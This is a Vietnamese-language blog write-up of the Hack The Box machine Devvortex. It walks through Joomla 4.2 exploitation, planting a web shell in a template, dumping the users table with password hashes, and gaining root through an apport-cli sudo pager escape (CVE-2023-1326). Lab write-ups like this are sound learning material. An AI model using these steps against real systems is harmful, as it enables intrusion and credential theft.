Devvortex

Enumeration

Zenmap:

Website

Không có gì để khai thác từ website trên.

Fuff

Tôi tìm thấy sub-domain dev.

Website dev

Kiểm tra file robots.txt:
Đây là một website joomla. Kiểm tra nó với Joomla

Gaining access www-data

Tôi biết rằng version joomla là 4.2. Tìm kiếm các khai thác cho joomla 4.2 tôi có: exploit-db
Khi đó tôi có khai thác như sau:
Truy cập page administrator và login với user và password mà tôi tìm thấy:
Ngay bây giờ tôi đã có quyền truy cập vào page administrator:
Tiếp tục khai thác giống trong hacktricks để lấy RCE. Tôi click System > any Templates > choose site:
Khi đó tôi edit error.php file. Thêm một đoạn mã shell vào trong file này và tôi có thể có được một website shell như sau:
Kết nối reverse shell:

Gaining access logan

Tôi biết rằng có tồn tại user logan trong hệ thống. Trước đó khi khai thác joomla tôi thấy có tồn tại user logan. kết nối mysql với user và password mà tôi đã có:
www-data@devvortex:~/dev.devvortex.htb/templates/cassiopeia$ mysql -h localhost -u lewis -p
<emplates/cassiopeia$ mysql -h localhost -u lewis -p
Enter password: 

mysql> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| joomla             |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

mysql> use joomla;
use joomla;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
show tables;
+-------------------------------+
| Tables_in_joomla              |
+-------------------------------+
| sd4fg_action_log_config       |
| .................             |
| sd4fg_usergroups              |
| sd4fg_users                   |
| sd4fg_viewlevels              |
| sd4fg_webauthn_credentials    |
| sd4fg_workflow_associations   |
| sd4fg_workflow_stages         |
| sd4fg_workflow_transitions    |
| sd4fg_workflows               |
+-------------------------------+
71 rows in set (0.00 sec)

mysql> select * from sd4fg_users;
select * from sd4fg_users;
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| id  | name       | username | email               | password                                                     | block | sendEmail | registerDate        | lastvisitDate       | activation | params                                                                                                                                                  | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
| 649 | lewis      | lewis    | lewis@devvortex.htb | $2y$10$6V52x.SD8Xc7hNlVwUTrI.ax4BIAYuhVBMVvnYWRceBmy8XdEzm1u |     0 |         1 | 2023-09-25 16:44:24 | 2023-11-26 03:47:58 | 0          |                                                                                                                                                         | NULL          |          0 |        |      |            0 |              |
| 650 | logan paul | logan    | logan@devvortex.htb | $2y$10$**************************************************j12 |     0 |         0 | 2023-09-26 19:15:42 | NULL                |            | {"admin_style":"","admin_language":"","language":"","editor":"","timezone":"","a11y_mono":"0","a11y_contrast":"0","a11y_highlight":"0","a11y_font":"0"} | NULL          |          0 |        |      |            0 |
   |
+-----+------------+----------+---------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+---------------------------------------------------------------------------------------------------------------------------------------------------------+---------------+------------+--------+------+--------------+--------------+
2 rows in set (0.00 sec)

mysql>
Tôi có hash password của logan. Crack nó và login:

Privilege escalation

Tìm kiếm các khai thác cho apport-cli version 2.20.11 thấy thấy tồn tại CVE-2023-1326 với poc: Do not run sensible-pager as root if using sudo/pkexec
Tạo một file crash bất kỳ:
Khi đó tôi có thể có quyền root như sau:
logan@devvortex:~$ sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash

*** Send problem report to the developers?

After the problem report has been sent, please fill out the form in the
automatically opened web browser.

What would you like to do? Your options are:
  S: Send report (30.0 KB)
  V: View report
  K: Keep report file for sending later or copying to somewhere else
  I: Cancel and ignore future crashes of this program version
  C: Cancel
Please choose (S/V/K/I/C): v

*** Collecting problem information

The collected information can be sent to the developers to improve the
application. This might take a few minutes
....................................................................
!id
uid=0(root) gid=0(root) groups=0(root)
!done  (press RETURN)
Sử dụng một reverse shell bất kỳ và tôi có được shell:



Dryu8

Dryu8 is just a newbie in pentesting and loves to drink beer. I will be happy if you can donate me with a beer.

Post a Comment

Previous Post Next Post